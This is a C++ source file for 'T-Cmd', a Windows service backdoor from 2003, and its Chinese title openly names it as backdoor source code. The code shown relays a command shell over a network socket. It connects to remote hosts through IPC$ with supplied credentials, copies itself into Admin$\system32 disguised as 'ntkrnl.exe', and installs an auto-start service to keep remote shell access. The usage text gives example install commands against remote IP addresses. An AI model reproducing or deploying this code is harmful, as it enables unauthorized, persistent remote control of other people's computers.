t-cmd.cpp

服务级后门T-Cmd源代码

		}

		for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
		{
			if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
			{
				szBuffer[dwBuffer2Send++]='\r';
			}
			PrevChar=szBuffer[dwBufferNow];
			szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
		}

		if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)  
		{
			OutputDebugString("Send in ReadShell Error !\n");
			break;
		}
		Sleep(5);
	}

	shutdown(sdRead.sClient,0x02);     
	closesocket(sdRead.sClient);
	return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
	SESSIONDATA  sdWrite=*(PSESSIONDATA)lpParam;
	DWORD        dwBuffer2Write,dwBufferWritten;
	char         szBuffer[1];
	char         szBuffer2Write[BUFFER_SIZE];

	dwBuffer2Write=0;    
	while(recv(sdWrite.sClient,szBuffer,1,0)!=0) 
	{
		szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

		if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
		{
			shutdown(sdWrite.sClient,0x02);        
			closesocket(sdWrite.sClient);
			return 0;
		}

		if(szBuffer[0]=='\n')
		{
			if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
			{
				OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
				break;
			}
			dwBuffer2Write=0;
		}
		Sleep(10);
	}

	shutdown(sdWrite.sClient,0x02);   
	closesocket(sdWrite.sClient);
	return 0;
}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) 
{
	char          lpIPC[256];
	DWORD         dwErrorCode;
	NETRESOURCE   NetResource;

	sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
	NetResource.lpLocalName  = NULL;
	NetResource.lpRemoteName = lpIPC;
	NetResource.dwType       = RESOURCETYPE_ANY;
	NetResource.lpProvider   = NULL;

	if(!stricmp(lpPassword,"NULL"))
	{
		lpPassword=NULL;
	}

	if(bConnect)
	{
    	printf("Now Connecting ...... ");
		while(1)
		{
	    	dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
      		if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
			{
	      		WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
			}
	    	else if(dwErrorCode==NO_ERROR)
			{
       			printf("Success !\n");
    	  		break;
			}
	    	else
			{
				printf("Failure !\n");    
      			return FALSE;
			}
     		Sleep(10);
		}
	}
	else
	{
      	printf("Now Disconnecting ... ");
		dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
		if(dwErrorCode==NO_ERROR)
		{
			printf("Success !\n");
		}
		else
		{
			printf("Failure !\n");
			return FALSE;
		}
	}

   	return TRUE;
}

void InstallCmdService(char *lpHost)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	char             lpCurrentPath[MAX_PATH];
	char             lpImagePath[MAX_PATH];
	char             *lpHostName;
    WIN32_FIND_DATA  FileData;
	HANDLE           hSearch;
	DWORD            dwErrorCode;
	SERVICE_STATUS   InstallServiceStatus;

	if(lpHost==NULL)
	{
		GetSystemDirectory(lpImagePath,MAX_PATH);
		strcat(lpImagePath,"\\ntkrnl.exe");
        lpHostName=NULL;
	}
	else
	{
		sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
		lpHostName=(char *)malloc(256);
		sprintf(lpHostName,"\\\\%s",lpHost);
	}

	printf("Transmitting File ... ");
	hSearch=FindFirstFile(lpImagePath,&FileData);
	if(hSearch==INVALID_HANDLE_VALUE)
	{
		GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
		if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) 
		{
			dwErrorCode=GetLastError();
			if(dwErrorCode==5)
			{
				printf("Failure ... Access is Denied !\n");         
			}
			else
			{
				printf("Failure !\n");
			}
	     	return ;
		}
   		else
		{
   			printf("Success !\n");
		}
	}
	else
	{
		printf("already Exists !\n");
		FindClose(hSearch);
	}

	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
    if(schSCManager==NULL)
	{
		printf("Open Service Control Manager Database Failure !\n");
		return ;
	}

	printf("Creating Service .... ");
	schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
		                     SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
							 SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
	if(schService==NULL)
	{
		dwErrorCode=GetLastError();
		if(dwErrorCode!=ERROR_SERVICE_EXISTS)
		{
      		printf("Failure !\n");
			CloseServiceHandle(schSCManager);
       		return ;
		}
		else
		{
			printf("already Exists !\n");
			schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
			if(schService==NULL)
			{
				printf("Opening Service .... Failure !\n");
				CloseServiceHandle(schSCManager);
				return ;
			}
		}
	}
	else
	{
		printf("Success !\n");
	}

	printf("Starting Service .... ");
	if(StartService(schService,0,NULL)==0)                         
	{
		dwErrorCode=GetLastError();
		if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
		{
			printf("already Running !\n");
        	CloseServiceHandle(schSCManager);  
         	CloseServiceHandle(schService);
         	return ;
		}
	}
	else
	{
		printf("Pending ... ");
	}

	while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)           
	{
		if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
		{
			Sleep(100);
		}
		else
		{
			break;
		}
	}
	if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
	{
		printf("Failure !\n");                       
	}
	else
	{
		printf("Success !\n");
	}

	CloseServiceHandle(schSCManager);
	CloseServiceHandle(schService);
	return ;
}

void RemoveCmdService(char *lpHost) 
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	char             lpImagePath[MAX_PATH];
	char             *lpHostName;
    WIN32_FIND_DATA  FileData;
	SERVICE_STATUS   RemoveServiceStatus;
	HANDLE           hSearch;
	DWORD            dwErrorCode;

	if(lpHost==NULL)
	{
		GetSystemDirectory(lpImagePath,MAX_PATH);
		strcat(lpImagePath,"\\ntkrnl.exe");
        lpHostName=NULL;
	}
	else
	{
		sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
		lpHostName=(char *)malloc(MAX_PATH);
		sprintf(lpHostName,"\\\\%s",lpHost);
	}

	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
    if(schSCManager==NULL)
	{
		printf("Opening SCM ......... ");
		dwErrorCode=GetLastError();
		if(dwErrorCode!=5)
		{
			printf("Failure !\n"); 
		}
		else
		{
			printf("Failuer ... Access is Denied !\n");
		}
		return ;
	}

	schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
	if(schService==NULL) 
	{
    	printf("Opening Service ..... ");
		dwErrorCode=GetLastError();
		if(dwErrorCode==1060)
		{
			printf("no Exists !\n");
		}
		else
		{
			printf("Failure !\n");
		}
		CloseServiceHandle(schSCManager);
	}
	else
	{
		printf("Stopping Service .... ");
     	if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
		{
       		if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
			{
         		printf("already Stopped !\n"); 
			}
     		else
			{
				printf("Pending ... ");
     			if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
				{
      				while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
					{
    					Sleep(10);
	    				QueryServiceStatus(schService,&RemoveServiceStatus);
					}
      				if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
					{
      					printf("Success !\n");
					}
      				else
					{
					    printf("Failure !\n");
					}
				}
				else
				{
					printf("Failure !\n");          
				}
			}
		}
    	else
		{
    		printf("Query Failure !\n");
		}

     	printf("Removing Service .... ");     
      	if(DeleteService(schService)==0)
		{
      		printf("Failure !\n");   
		}
     	else
		{
      		printf("Success !\n");
		}
	}

	CloseServiceHandle(schSCManager);        
	CloseServiceHandle(schService);

	printf("Removing File ....... ");
	Sleep(1500);
	hSearch=FindFirstFile(lpImagePath,&FileData);
	if(hSearch==INVALID_HANDLE_VALUE)
	{
		printf("no Exists !\n");
	}
	else
	{
		if(DeleteFile(lpImagePath)==0)
		{
			printf("Failure !\n");               
		}
		else
		{
			printf("Success !\n");
		}
		FindClose(hSearch);
	}

	return ;
}

void Start()
{
	printf("\n");
	printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y   ]---\n");
	printf("\t\t---[ E-mail: [e-mail] ]---\n");
	printf("\t\t---[ HomePage: www.safechina.net ]---\n");
	printf("\t\t---[ Date: 02-05-2003            ]---\n\n");
	return ;
}

void Usage()
{
	printf("Attention:\n");
	printf("  Be careful with this software, Good luck !\n\n");
	printf("Usage Show:\n");
	printf("  T-Cmd  -Help\n");
	printf("  T-Cmd  -Install  [RemoteHost]  [Account]  [Password]\n");
	printf("  T-Cmd  -Remove   [RemoteHost]  [Account]  [Password]\n\n");
	printf("Example:\n");
	printf("  T-Cmd  -Install  (Install in the localhost)\n");
	printf("  T-Cmd  -Remove   (Remove  in the localhost)\n");
    printf("  T-Cmd  -Install  192.168.0.1  TOo2y  123456  (Install in 192.168.0.1)\n");
	printf("  T-Cmd  -Remove   192.168.0.1  TOo2y  123456  (Remove  in 192.168.0.1)\n");
	printf("  T-Cmd  -Install  192.168.0.2  TOo2y  NULL    (NULL instead of no password)\n\n");
	return ;
}